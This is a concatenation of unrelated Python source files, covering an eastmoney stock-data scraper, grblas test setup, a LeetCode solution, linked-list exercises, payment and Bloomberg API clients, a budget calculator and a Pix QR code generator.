"https://datacenter-web.eastmoney.com/api/data/v1/get?callback=jQuery112305166739778248102_1652606811698&reportName=RPT_BILLBOARD_DAILYDETAILSBUY&columns=ALL&filter=(TRADE_DATE%3D%272022-05-13%27)(SECURITY_CODE%3D%22001313%22)&pageNumber=1&pageSize=50&sortTypes=-1&sortColumns=BUY&source=WEB&client=WEB&_=1652606811700" # payload = { # #"callback" : "jQuery112305166739778248102_1652606811698", # "reportName" : "RPT_BILLBOARD_DAILYDETAILSBUY", # "columns" : "ALL", # "filter" : '''(TRADE_DATE='2022-03-09')(SECURITY_CODE="001313")''', # "pageNumber" : 1, # "pageSize" : 50, # "sortTypes" : -1, # "sortColumns" : "BUY", # "source" : "WEB", # "client" : "WEB", # "_" : "1652606811700", # } #response = requests.request("GET",url,headers=head, data= json.dumps(payload)) response = requests.request("GET",url,headers=head) print(response.status_code,response.text) def Test2(): head = { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "keep-alive", "Cookie": "st_si=33930137927479; FundWebTradeUserInfo=<KEY>; qgqp_b_id=07e364420df0ba22c7e879b4c301457d; EMFUND1=null; EMFUND2=null; EMFUND3=null; EMFUND4=null; EMFUND5=null; EMFUND6=null; EMFUND7=null; EMFUND8=null; EMFUND0=null; EMFUND9=05-15 16:21:41@#$%u957F%u57CE%u4E2D%u503A1-3%u5E74%u653F%u91D1%u503AA@%23%24008652; st_asi=delete; st_pvi=10101638801112; st_sp=2022-05-15%2015%3A58%3A45; st_inirUrl=http%3A%2F%2Ffund.eastmoney.com%2Fdata%2F; st_sn=37; st_psi=20220515172651988-113300300999-4804406827; JSESSIONID=55F29FD72541EE153DAF30E7F0F13091", "Host": "datacenter-web.eastmoney.com", "Referer": "https://data.eastmoney.com/", "Sec-Fetch-Dest": "script", "Sec-Fetch-Mode": "no-cors", "Sec-Fetch-Site": "same-site", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36", "sec-ch-ua": "Not A;Brand ;v=99, Chromium;v=100, Google Chrome;v=100", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "macOS", } url = "https://datacenter-web.eastmoney.com/api/data/v1/get?callback=jQuery112305166739778248102_1652606811696&reportName=RPT_BILLBOARD_DAILYDETAILSSELL&columns=ALL&filter=(TRADE_DATE%3D%272022-03-09%27)(SECURITY_CODE%3D%22001313%22)&pageNumber=1&pageSize=50&sortTypes=-1&sortColumns=SELL&source=WEB&client=WEB&_=1652606811701" # payload = { # #"callback" : "jQuery112305166739778248102_1652606811698", # "reportName" : "RPT_BILLBOARD_DAILYDETAILSBUY", # "columns" : "ALL", # "filter" : '''(TRADE_DATE='2022-03-09')(SECURITY_CODE="001313")''', # "pageNumber" : 1, # "pageSize" : 50, # "sortTypes" : -1, # "sortColumns" : "BUY", # "source" : "WEB", # "client" : "WEB", # "_" : "1652606811700", # } #response = requests.request("GET",url,headers=head, data= json.dumps(payload)) response = requests.request("GET",url,headers=head) print(response.status_code,response.text) def Test3(): head = { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "keep-alive", "Cookie": "st_si=33930137927479; FundWebTradeUserInfo=<KEY>; qgqp_b_id=07e364420df0ba22c7e879b4c301457d; EMFUND1=null; EMFUND2=null; EMFUND3=null; EMFUND4=null; EMFUND5=null; EMFUND6=null; EMFUND7=null; EMFUND8=null; EMFUND0=null; EMFUND9=05-15 16:21:41@#$%u957F%u57CE%u4E2D%u503A1-3%u5E74%u653F%u91D1%u503AA@%23%24008652; st_asi=delete; st_pvi=10101638801112; st_sp=2022-05-15%2015%3A58%3A45; st_inirUrl=http%3A%2F%2Ffund.eastmoney.com%2Fdata%2F; st_sn=37; st_psi=20220515172651988-113300300999-4804406827; JSESSIONID=55F29FD72541EE153DAF30E7F0F13091", "Host": "datacenter-web.eastmoney.com", "Referer": "https://data.eastmoney.com/", "Sec-Fetch-Dest": "script", "Sec-Fetch-Mode": "no-cors", "Sec-Fetch-Site": "same-site", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36", "sec-ch-ua": "Not A;Brand ;v=99, Chromium;v=100, Google Chrome;v=100", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "macOS", } url = "https://datacenter-web.eastmoney.com/api/data/v1/get?callback=jQuery112305166739778248102_1652606811698&reportName=RPT_BILLBOARD_DAILYDETAILS&columns=ALL&filter=(TRADE_DATE%3D%272022-03-09%27)(SECURITY_CODE%3D%22001313%22)&pageNumber=1&pageSize=10&sortTypes=&sortColumns=&source=WEB&client=WEB&_=1652606811702" # payload = { # #"callback" : "jQuery112305166739778248102_1652606811698", # "reportName" : "RPT_BILLBOARD_DAILYDETAILSBUY", # "columns" : "ALL", # "filter" : '''(TRADE_DATE='2022-03-09')(SECURITY_CODE="001313")''', # "pageNumber" : 1, # "pageSize" : 50, # "sortTypes" : -1, # "sortColumns" : "BUY", # "source" : "WEB", # "client" : "WEB", # "_" : "1652606811700", # } #response = requests.request("GET",url,headers=head, data= json.dumps(payload)) response = requests.request("GET",url,headers=head) print(response.status_code,response.text) def Test4(): head = { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "keep-alive", "Cookie": "st_si=33930137927479; FundWebTradeUserInfo=<KEY>; qgqp_b_id=07e364420df0ba22c7e879b4c301457d; EMFUND1=null; EMFUND2=null; EMFUND3=null; EMFUND4=null; EMFUND5=null; EMFUND6=null; EMFUND7=null; EMFUND8=null; EMFUND0=null; EMFUND9=05-15 16:21:41@#$%u957F%u57CE%u4E2D%u503A1-3%u5E74%u653F%u91D1%u503AA@%23%24008652; st_asi=delete; st_pvi=10101638801112; st_sp=2022-05-15%2015%3A58%3A45; st_inirUrl=http%3A%2F%2Ffund.eastmoney.com%2Fdata%2F; st_sn=37; st_psi=20220515172651988-113300300999-4804406827; JSESSIONID=55F29FD72541EE153DAF30E7F0F13091", "Host": "datacenter-web.eastmoney.com", "Referer": "https://data.eastmoney.com/", "Sec-Fetch-Dest": "script", "Sec-Fetch-Mode": "no-cors", "Sec-Fetch-Site": "same-site", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36", "sec-ch-ua": "Not A;Brand ;v=99, Chromium;v=100, Google Chrome;v=100", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "macOS", } url = "https://datacenter-web.eastmoney.com/api/data/v1/get?callback=jQuery112307666070867155987_1652610892125&sortColumns=TRADE_DATE%2CSECURITY_CODE&sortTypes=-1%2C1&pageSize=50&pageNumber=1&reportName=RPT_OPERATEDEPT_TRADE_DETAILS&columns=ALL&filter=(OPERATEDEPT_CODE%3D%2210656871%22)&source=WEB&client=WEB" # payload = { # #"callback" : "jQuery112305166739778248102_1652606811698", # "reportName" : "RPT_BILLBOARD_DAILYDETAILSBUY", # "columns" : "ALL", # "filter" : '''(TRADE_DATE='2022-03-09')(SECURITY_CODE="001313")''', # "pageNumber" : 1, # "pageSize" : 50, # "sortTypes" : -1, # "sortColumns" : "BUY", # "source" : "WEB", # "client" : "WEB", # "_" : "1652606811700", # } #response = requests.request("GET",url,headers=head, data= json.dumps(payload)) response = requests.request("GET",url,headers=head) print(response.status_code,response.text) def Test5(): head = { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "keep-alive", #"Cookie": "st_si=33930137927479; FundWebTradeUserInfo=JTdCJ<KEY>; qgqp_b_id=07e364420df0ba22c7e879b4c301457d; EMFUND1=null; EMFUND2=null; EMFUND3=null; EMFUND4=null; EMFUND5=null; EMFUND6=null; EMFUND7=null; EMFUND8=null; EMFUND0=null; EMFUND9=05-15 16:21:41@#$%u957F%u57CE%u4E2D%u503A1-3%u5E74%u653F%u91D1%u503AA@%23%24008652; st_asi=delete; st_pvi=10101638801112; st_sp=2022-05-15%2015%3A58%3A45; st_inirUrl=http%3A%2F%2Ffund.eastmoney.com%2Fdata%2F; st_sn=37; st_psi=20220515172651988-113300300999-4804406827; JSESSIONID=55F29FD72541EE153DAF30E7F0F13091", "Host": "datacenter-web.eastmoney.com", "Referer": "https://data.eastmoney.com/", "Sec-Fetch-Dest": "script", "Sec-Fetch-Mode": "no-cors", "Sec-Fetch-Site": "same-site", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36", "sec-ch-ua": "Not A;Brand ;v=99, Chromium;v=100, Google Chrome;v=100", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "macOS", } url = "https://datacenter-web.eastmoney.com/api/data/v1/get?callback=jQuery1123040640807664934187_1652615619385&sortColumns=SECURITY_CODE%2CTRADE_DATE&sortTypes=1%2C-1&pageSize=500&pageNumber=1&reportName=RPT_DAILYBILLBOARD_DETAILS&columns=SECURITY_CODE%2CSECUCODE%2CSECURITY_NAME_ABBR%2CTRADE_DATE%2CEXPLAIN%2CCLOSE_PRICE%2CCHANGE_RATE%2CBILLBOARD_NET_AMT%2CBILLBOARD_BUY_AMT%2CBILLBOARD_SELL_AMT%2CBILLBOARD_DEAL_AMT%2CACCUM_AMOUNT%2CDEAL_NET_RATIO%2CDEAL_AMOUNT_RATIO%2CTURNOVERRATE%2CFREE_MARKET_CAP%2CEXPLANATION%2CD1_CLOSE_ADJCHRATE%2CD2_CLOSE_ADJCHRATE%2CD5_CLOSE_ADJCHRATE%2CD10_CLOSE_ADJCHRATE&source=WEB&client=WEB&filter=(TRADE_DATE%3C%3D%272022-05-13%27)(TRADE_DATE%3E%3D%272022-05-13%27)" # payload = { # #"callback" : "jQuery112305166739778248102_1652606811698", # "reportName" : "RPT_BILLBOARD_DAILYDETAILSBUY", # "columns" : "ALL", # "filter" : '''(TRADE_DATE='2022-03-09')(SECURITY_CODE="001313")''', # "pageNumber" : 1, # "pageSize" : 50, # "sortTypes" : -1, # "sortColumns" : "BUY", # "source" : "WEB", # "client" : "WEB", # "_" : "1652606811700", # } #response = requests.request("GET",url,headers=head, data= json.dumps(payload)) response = requests.request("GET",url,headers=head) print(response.status_code,response.text) if __name__ == "__main__": Test()
StarcoderdataPython
3336294
import grblas import atexit import itertools import pytest def pytest_configure(config): backend = config.getoption("--backend", "suitesparse") blocking = config.getoption("--blocking", True) record = config.getoption("--record", False) grblas.init(backend, blocking=blocking) print(f'Running tests with "{backend}" backend, blocking={blocking}, record={record}') if record: rec = grblas.Recorder() rec.start() def save_records(): with open("record.txt", "w") as f: # pragma: no cover f.write("\n".join(rec.data)) # I'm sure there's a `pytest` way to do this... atexit.register(save_records) def pytest_runtest_setup(item): if "slow" in item.keywords and not item.config.getoption("--runslow", True): # pragma: no cover pytest.skip("need --runslow option to run") @pytest.fixture(autouse=True, scope="function") def reset_name_counters(): """Reset automatic names for each test for easier comparison of record.txt""" grblas.Matrix._name_counter = itertools.count() grblas.Vector._name_counter = itertools.count() grblas.Scalar._name_counter = itertools.count()
StarcoderdataPython
242219
TESTS_BUNDLE_MODEL = 'TestBundle' TESTS_BUNDLE_APP = 'tests_bundle_app' TESTS_DYNAMIC_APP = 'tests_dynamic_app'
StarcoderdataPython
6676648
<reponame>victoraccete/data_science_projects # -*- coding: utf-8 -*- import pandas as pd suicide_rates = pd.read_csv('data_science_projects/brazil_suicides_plot/master.csv') br_rates = suicide_rates[suicide_rates['country']=='Brazil'][suicide_rates['sex'] == 'male'][suicide_rates['age']=='15-24 years'] br_rates.year = pd.to_datetime(br_rates.year, format='%Y') br_rates.plot(x='year', y='suicides/100k pop')
StarcoderdataPython
3597884
""" * https://leetcode.com/problems/concatenated-words/ """ def solution1(words): """ for w in words -> can we break w by rest of words? fn(w, rest_words) if prefix in rest_words and is prefix of w -> fn(w-prefix, rest_words - prefix) """ can_break_cache = {w: True for w in words} def can_break(w): if w in can_break_cache: return can_break_cache[w] for p in words: if p == w: continue if w.startswith(p): rest_w = w[len(p):] can_also_break = can_break(rest_w) if can_also_break: can_break_cache[w] = True return True can_break_cache[w] = False return False ans = [] for w in words: del can_break_cache[w] if can_break(w): ans.append(w) can_break_cache[w] = True return ans import unittest from unittest_data_provider import data_provider def data(): return [ ( ["catsdogcats","dogcatsdog","ratcatdogcat"], ["cat","cats","catsdogcats","dog","dogcatsdog","hippopotamuses","rat","ratcatdogcat"]), ] class Tests(unittest.TestCase): @data_provider(data) def test_all_solutions(self, expected, *argv): for n in range(1, 10): fn_name = 'solution' + str(n) if fn_name in globals(): fn = globals()[fn_name] #print('Testing %s with input %s' % (fn_name, str(argv))) ans = fn(*argv) self.assertEqual(len(expected), len(ans)) self.assertEqual(set(expected), set(ans)) if __name__ == '__main__': suite = unittest.TestLoader().loadTestsFromTestCase(Tests) unittest.TextTestRunner(verbosity=2).run(suite)
StarcoderdataPython
5111058
<reponame>bilabon/paymentwall-python from paymentwall.httpaction import Httpaction from paymentwall.base import Paymentwall import json class ApiObject(Paymentwall, Httpaction): API_BRICK_SUBPATH = 'brick' API_OBJECT_CHARGE = 'charge' API_OBJECT_SUBSCRIPTION = 'subscription' API_OBJECT_ONE_TIME_TOKEN = 'token' BRICK_ENDPOINTS = (API_OBJECT_CHARGE, API_OBJECT_SUBSCRIPTION, API_OBJECT_ONE_TIME_TOKEN) api_response = {} def __init__(self, id='', obj=''): self.id = id self.obj = obj def get_endpoint_name(self): if self.obj and self.obj in self.BRICK_ENDPOINTS: return self.obj else: return '' def get_api_url(self): if self.obj == 'token' and not self.is_test(): return 'https://pwgateway.com/api/token' else: return self.BASE + '/' + self.API_BRICK_SUBPATH + '/' + self.get_endpoint_name() def get_api_header(self): return {'X-ApiKey': self.get_secret_key()} if self.obj != 'token' else {} def build_query(self, params): query = '' for key, value in params.items(): query = query + '&' + key + '=' + value return query def do_api_action(self, action='', params={}, method='post'): action_url = self.get_api_url() + '/' + self.id + '/' + action http_action = Httpaction(action_url, params=params, header=self.get_api_header()) if method == 'post' else Httpaction(action_url + self.build_query(params), params={}, header={}) response = http_action.api_request(method=method).text self.set_response(json.loads(response)) def set_response(self, response): if response: self.api_response = response return else: return 'Empty response' def get_response(self): return self.api_response def get_public_data(self): response = self.get_response() result = {} if 'type' in response and response['type'] == 'Error': result = { 'success': 0, 'error': { 'message': response['error'], 'code': response['code'] } } elif 'secure' in response and not self.object_response(): result = { 'success': 0, 'secure': response['secure'] } elif self.object_response(): result['success'] = 1 else: result = { 'success': 0, 'error': { 'message': 'Internal error' } } return result def create(self, params): http_action = Httpaction(self.get_api_url(), params, self.get_api_header()) response = http_action.api_request().text self.set_response(json.loads(response)) def object_response(self): return True if self.get_response().get('object') else False
StarcoderdataPython
1995270
<filename>calculateBudget.py import datetime import json from calendar import monthrange from math import ceil def main(): # Load the budgeting data with open('BudgetingData.json') as json_data: financeData = json.load(json_data) # Tracking variable for the budget budget = 0 # For loop for the various adjustment factors used to determine a stable budget for adjustmentFactor in [100, -50, 10, -1, 0.1, -0.05, 0.01]: # Loop until the stable result matches the +/- value of the adjustment # This mesas that positive adjustments are expected to be stable and # negative adjustments are expected to be unstable # # The idea is to over/undershoot until an exact stable budget is hit while True: if isStable(financeData, budget) == (adjustmentFactor > 0): break else: budget += adjustmentFactor print ("Putting aside ${} each paycheck will be financially stable".format(ceil(budget))) def isStable(financeData, budget): # Parse the expenses from the JSON file expenses = {} for expense in financeData["Expenses"].keys(): expenses[expense] = {} expenses[expense]["effectiveDay"] = datetime.datetime.strptime(financeData["Expenses"][expense]["Start"], "%Y-%m-%d").date() expenses[expense]["lastDay"] = datetime.datetime.strptime(financeData["Expenses"][expense]["End"], "%Y-%m-%d").date() expenses[expense]["Amount"] = financeData["Expenses"][expense]["Amount"] expenses[expense]["Frequency"] = financeData["Expenses"][expense]["Frequency"] # Capture today's date dateitr = datetime.date.today() # Pull the starting cash startingCash = financeData["CurrentCash"] currentCash = startingCash # Capture paycheck information payDay = datetime.datetime.strptime(financeData["LastPayDate"],"%Y-%m-%d").date() payFrequency = financeData["PayFrequency"] endPay = datetime.date(9999, 1, 1) # Used to track if overall budget is decreasing over time endYear = dateitr.year + 5 startYear = dateitr.year yearMinimums = [] currentYearMinimum = startingCash # Iterate, day by day, paying all expenses and putting aside money as is required # on a day-by-day basis. while dateitr.year < endYear: for itr in expenses: if isEffectiveToday(dateitr, expenses[itr]["effectiveDay"], expenses[itr]["lastDay"], expenses[itr]["Frequency"]): currentCash -= expenses[itr]["Amount"] if currentCash < currentYearMinimum: currentYearMinimum = currentCash if currentCash < 0: return False if isEffectiveToday(dateitr, payDay, endPay, payFrequency): currentCash += budget dateitr += datetime.timedelta(days=1) # On the first of each year put aside the lowest balance for the year if dateitr.month is 1 and dateitr.day is 1: yearMinimums.append(currentYearMinimum) currentYearMinimum = currentCash # After 5 years if the current cash never went below 0 AND if the low is # gradually increasing the current budget is financially stable. # # The secondary condition is to make sure that over time the current cash # would never run out. Rather, it should slowly increase. return yearMinimums[0] < yearMinimums[-1] def isEffectiveToday(currentDate, firstDate, lastDate, frequency): if currentDate <= firstDate or currentDate > lastDate: return False if "Y" == frequency: if currentDate.month == firstDate.month and isEffectiveToday(currentDate, firstDate, lastDate, "M"): return True else: return False elif "M" == frequency: if currentDate.day == firstDate.day: return True elif (currentDate.day < firstDate.day) and (currentDate.day == monthrange(currentDate.year, currentDate.month)): return True else: return False elif "B" == frequency: if ((currentDate - firstDate).days % 14) == 0: return True else: return False elif "W" == frequency: if ((currentDate - firstDate).days % 7) == 0: return True else: return False elif "D" == frequency: return False else: raise ValueError('Unknown frequency: ' + frequency) if __name__ == "__main__": main()
StarcoderdataPython
3206386
<gh_stars>0 """ Sum Lists: You have two numbers represented by a linked list, where each node contains a single digit.The digits are stored in reverse order, such that the 1 's digit is at the head of the list. Write a function that adds the two numbers and returns the sum as a linked list. EXAMPLE Input:(7-> 1 -> 6) + (5 -> 9 -> 2).Thatis,617 + 295. Output:2 -> 1 -> 9.That is,912. FOLLOW UP Suppose the digits are stored in forward order. Repeat the above problem. EXAMPLE Input:(6 -> 1 -> 7) + (2 -> 9 -> 5).That is,617 + 295. Output:9 -> 1 -> 2.That is,912. """ from linked_list import SinglyLinkedList, SinglyLinkedNode def inner_step(n1, n2, n3, sum_ll, carry): total = carry if n1: total += n1.value n1 = n1.next if n2: total += n2.value n2 = n2.next result = total % 10 carry = total // 10 new_node = SinglyLinkedNode(result) if not n3: sum_ll.head = new_node n3 = sum_ll.head else: n3.next = new_node n3 = new_node return n1, n2, n3, carry def sum_reverse(self, ll2): sum_ll = SinglyLinkedList() carry = 0 n1, n2, n3 = self.head, ll2.head, sum_ll.head while n1 and n2: n1, n2, n3, carry = inner_step(n1, n2, n3, sum_ll, carry) while n1: n1, n2, n3, carry = inner_step(n1, n2, n3, sum_ll, carry) while n2: n1, n2, n3, carry = inner_step(n1, n2, n3, sum_ll, carry) if carry: n1, n2, n3, carry = inner_step(n1, n2, n3, sum_ll, carry) return sum_ll SinglyLinkedList.sum_reverse = sum_reverse def add_zero_nodes(ll, count): node = SinglyLinkedNode(0) head = node for i in range(count - 1): node.next = SinglyLinkedNode(0) node = node.next node.next = ll.head return head def do_sum_forward(node1, node2): if not node1: return None, 0 elif not node1.next: total = node1.value + node2.value carry = total // 10 value = total % 10 return SinglyLinkedNode(value), carry child_node, carry = do_sum_forward(node1.next, node2.next) total = node1.value + node2.value + carry carry = total // 10 value = total % 10 node = SinglyLinkedNode(value) node.next = child_node return node, carry def sum_forward(self, ll2): len1, len2 = len(self), len(ll2) if len1 > len2: head = add_zero_nodes(ll2, len1 - len2) ll2.head = head len2 = len1 elif len2 > len1: head = add_zero_nodes(self, len2 - len1) self.head = head len1 = len2 if len1 == 0: return None node, carry = do_sum_forward(self.head, ll2.head) if carry > 0: head = SinglyLinkedNode(carry) node, head.next = head, node ll = SinglyLinkedList() ll.head = node return ll SinglyLinkedList.sum_forward = sum_forward if __name__ == "__main__": import sys for line in sys.stdin: ll1, ll2 = line.strip().split("; ") ll1 = SinglyLinkedList((int(val) for val in ll1.split(', '))) ll2 = SinglyLinkedList((int(val) for val in ll2.split(', '))) for node in ll1.sum_reverse(ll2): print(node.value) print("") for node in ll1.sum_forward(ll2): print(node.value)
StarcoderdataPython
3275289
<filename>leaguebot_version_0.py<gh_stars>0 from riotwatcher import RiotWatcher from requests import HTTPError import os watcher = RiotWatcher(str(os.environ.get("LOL_API_KEY"))) ''' my_region = 'na1' me = watcher.summoner.by_name(my_region, 'joe joe joe joe') print(me) # all objects are returned (by default) as a dict # lets see if i got diamond yet (i probably didnt) my_ranked_stats = watcher.league.positions_by_summoner(my_region, me['id']) print(my_ranked_stats) ''' def get_summoner_rank(summoner_name, region): try: summoner = watcher.summoner.by_name(region, summoner_name) ranked_stats = watcher.league.positions_by_summoner(region, summoner['id']) #print(ranked_stats) if len(ranked_stats) == 0: return None ranked_data = [] ranked_data.append(summoner['name']) for queue in ranked_stats: if queue['queueType'] == 'RANKED_SOLO_5x5': ranked_data.append(queue['tier']) ranked_data.append(queue['rank']) ranked_data.append(queue['leaguePoints']) return ranked_data except HTTPError as err: if err.response.status_code == 429: print('We should retry in {} seconds.'.format(e.headers['Retry-After'])) print('this retry-after is handled by default by the RiotWatcher library') print('future requests wait until the retry-after time passes') elif err.response.status_code == 404: print('Summoner with that ridiculous name not found.') else: raise return None if __name__== "__main__": print(get_summoner_rank("Ooglyoogly", "na1"))
StarcoderdataPython
6418096
"""Test cases for the `inputs.heroku` module."""
StarcoderdataPython
5137443
# Copyright 2016-present CERN – European Organization for Nuclear Research # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import re from typing import Type from pandas import to_datetime from qf_lib.common.enums.expiration_date_field import ExpirationDateField from qf_lib.common.enums.security_type import SecurityType from qf_lib.common.tickers.tickers import BloombergTicker, Ticker from qf_lib.containers.futures.future_tickers.future_ticker import FutureTicker from qf_lib.containers.series.qf_series import QFSeries class BloombergFutureTicker(FutureTicker, BloombergTicker): """Representation of a Future Ticker, designed to be used by the BloombergDataProvider. Parameters ---------- name: str Field which contains a name (or a short description) of the FutureTicker. family_id: str Used to to verify if a specific BloombergTicker belongs to a certain futures family and to the active Ticker string, which can be further used by the data provider to download the chain of corresponding Tickers. The family ID pattern - e.g. for Cotton, an exemplary ticker string is of the following form: "CTZ9 Comdty". The "Z9" part denotes the month and year codes - this is the only variable part of the ticker. Thus, in order to verify if a ticker belongs to the cotton family, it should be in form of "CT{} Comdty". For all other ticker families, the family_id should be in the form of specific ticker with the month and year codes replaced with the "{}" placeholder. N: int Since we chain individual contracts, we need to know which one to select. N determines which contract is used at any given time when we have to select a specific contract. For example N parameter set to 1, denotes the first (front) future contract. N set to 2 will be the second contract and so on. days_before_exp_date: int Number of days before the expiration day of each of the contract, when the “current” specific contract should be substituted with the next consecutive one. point_value: int Used to define the size of the contract. designated_contracts: str It is a string, which represents all month codes, that are being downloaded and stored in the chain of future contracts. Any specific order of letters is not required. E.g. providing this parameter value equal to "HMUZ", would restrict the future chain to only the contracts, which expire in March, June, September and December, even if contracts for any other months exist and are returned by the BloombergDataProvider get_futures_chain_tickers function. designated_contracts: str It is a string, which represents all month codes, that are being downloaded and stored in the chain of future contracts. Any specific order of letters is not required. E.g. providing this parameter value equal to "HMUZ", would restrict the future chain to only the contracts, which expire in March, June, September and December, even if contracts for any other months exist and are returned by the DataProvider get_futures_chain_tickers function. """ def __init__(self, name: str, family_id: str, N: int, days_before_exp_date: int, point_value: int = 1, designated_contracts: str = "FGHJKMNQUVXZ", security_type: SecurityType = SecurityType.FUTURE): if not len(designated_contracts) > 0: raise ValueError("At least one month code should be provided.") super().__init__(name, family_id, N, days_before_exp_date, point_value, designated_contracts, security_type) def get_active_ticker(self) -> BloombergTicker: """ Returns the active ticker. """ specific_ticker_string = self.family_id.format("A") return BloombergTicker.from_string(specific_ticker_string, self.security_type, self.point_value) def _get_futures_chain_tickers(self): """ Function used to download the expiration dates of the futures contracts, in order to return afterwards current futures tickers. It uses the list of month codes of designated contracts and filter out these, that should not be considered by the future ticker. """ futures_chain_tickers_df = self._data_provider.get_futures_chain_tickers(self, ExpirationDateField.all_dates())[self] # Get the minimum date futures_chain_tickers_series = futures_chain_tickers_df.min(axis=1) # Filter out the non-designated contracts month_codes = "|".join(self.designated_contracts) contracts_pattern = self.family_id.format(f"({month_codes})\\d{{1,2}}") designated_contracts = futures_chain_tickers_series.index[ futures_chain_tickers_series.index.map(lambda t: bool(re.search(f"^{contracts_pattern}$", t.as_string())))] futures_chain_tickers_series = futures_chain_tickers_series.loc[designated_contracts] futures_chain_tickers = QFSeries(futures_chain_tickers_series.index, futures_chain_tickers_series.values) futures_chain_tickers.index = to_datetime(futures_chain_tickers.index) return futures_chain_tickers def belongs_to_family(self, ticker: BloombergTicker) -> bool: """ Function, which takes a specific BloombergTicker, verifies if it belongs to the family of futures contracts, identified by the BloombergFutureTicker and returns true if that is the case (false otherwise). """ pattern = self.family_id.format("[A-Z]\\d{1,2}") return bool(re.match(f"^{pattern}$", ticker.ticker)) and \ (ticker.point_value, ticker.security_type) == (self.point_value, self.security_type) def supported_ticker_type(self) -> Type[Ticker]: return BloombergTicker
StarcoderdataPython
6476066
<gh_stars>1-10 from testarch import * class TunnelDataCollector(SealOutput): def __init__(self): super(TunnelDataCollector, self).__init__("TunnelDataCollector") self.useFunction.value = "tunnelDataCollectorSend(&tunnelDataCollectorPacket, sizeof(tunnelDataCollectorPacket))" tunnelDataColl = TunnelDataCollector()
StarcoderdataPython
325914
<filename>robustness_metrics/datasets/base.py # coding=utf-8 # Copyright 2021 The Robustness Metrics Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Lint as: python3 """Robustness metrics. Example usage: ``` from robustness_metrics import datasets dataset = datasets.get("imagenet_a") tf_dataset = dataset.load(preprocess_fn) ``` """ import abc import dataclasses from typing import Callable, List, Optional from robustness_metrics.common import registry from robustness_metrics.common import types import tensorflow as tf @dataclasses.dataclass(frozen=True) class DatasetInfo: num_classes: Optional[int] appearing_classes: Optional[List[int]] = None class Dataset(metaclass=abc.ABCMeta): """The abstract class representing a dataset.""" @abc.abstractproperty def info(self) -> DatasetInfo: """The properties of the dataset.""" @abc.abstractmethod def load(self, preprocess_fn: Optional[Callable[[types.Features], types.Features]] ) -> tf.data.Dataset: """Loads the dataset. Note: The provided `preprocess_fn` gets *always* run in graph-mode. Args: preprocess_fn: The function used to preprocess the dataset before batching. Set to `None` for the per-dataset default. Returns: The pre-processed and batched dataset. Each element passed to `preprocess_fn` is a dictionary with the following fields: * "element_id": A unique integer assinged to each example. * "image": A (H, W, C)-tensor of type tf.uint8 holding the image. * "label": An int64 with the label. * "metadata": Additional data about an instance. """ registry = registry.Registry(Dataset)
StarcoderdataPython
5107713
<reponame>cleitonleonel/pix-code import re import os import sys import crc16 import base64 import qrcode from unicodedata import normalize from amzqr import amzqr from PIL import Image from io import BytesIO def validate_cpf(numbers): cpf = [int(char) for char in numbers if char.isdigit()] if len(cpf) != 11: return False if cpf == cpf[::-1]: return False for i in range(9, 11): value = sum((cpf[num] * ((i + 1) - num) for num in range(0, i))) digit = ((value * 10) % 11) % 10 if digit != cpf[i]: return False return True def validate_phone(value): rule = re.compile(r'\?\b([0-9]{2,3}|0((x|[0-9]){2,3}[0-9]{2}))\?\s*[0-9]{4,5}[- ]*[0-9]{4}\b') if rule.search(value): return False return True def validate_number(phone_number): return all([x.isdigit() for x in phone_number.split("-")]) def get_value(identify, value): return f"{identify}{str(len(value)).zfill(2)}{value}" def formatted_text(value): return re.sub(r'[^A-a-Z-z\[\]0-9$@%*+-\./:_]', ' ', normalize('NFD', value).encode('ascii', 'ignore').decode('ascii') ) def crc_compute(hex_string): msg = bytes(hex_string, 'utf-8') crc = crc16.crc16xmodem(msg, 0xffff) return '{:04X}'.format(crc & 0xffff) def get_qrcode(**kwargs): if not kwargs.get('box_size'): kwargs['box_size'] = 5 qr = qrcode.QRCode(**kwargs) return qr def base64_qrcode(img): img_buffer = BytesIO() img.save(img_buffer, 'png') res = img_buffer.getvalue() img_buffer.close() data_string = base64.b64encode(res).decode() return f'data:image/png;base64,{data_string}' def qr_logo(logo, qr_code, out): custom_name = os.path.join(out, 'custom_qr.png') lg = Image.open(logo) width = 100 wpercent = (width / float(lg.size[0])) hsize = int((float(lg.size[1]) * float(wpercent))) logo_qr = lg.resize((width, hsize), Image.ANTIALIAS) pos = ((qr_code.size[0] - logo_qr.size[0]) // 2, (qr_code.size[1] - logo_qr.size[1]) // 2) qr_code.paste(logo_qr, pos) qr_code.save(custom_name) return Image.open(custom_name) class Pix(object): def __init__(self): self.single_transaction = False self.key = None self.name_receiver = None self.city_receiver = None self.amount = 0.0 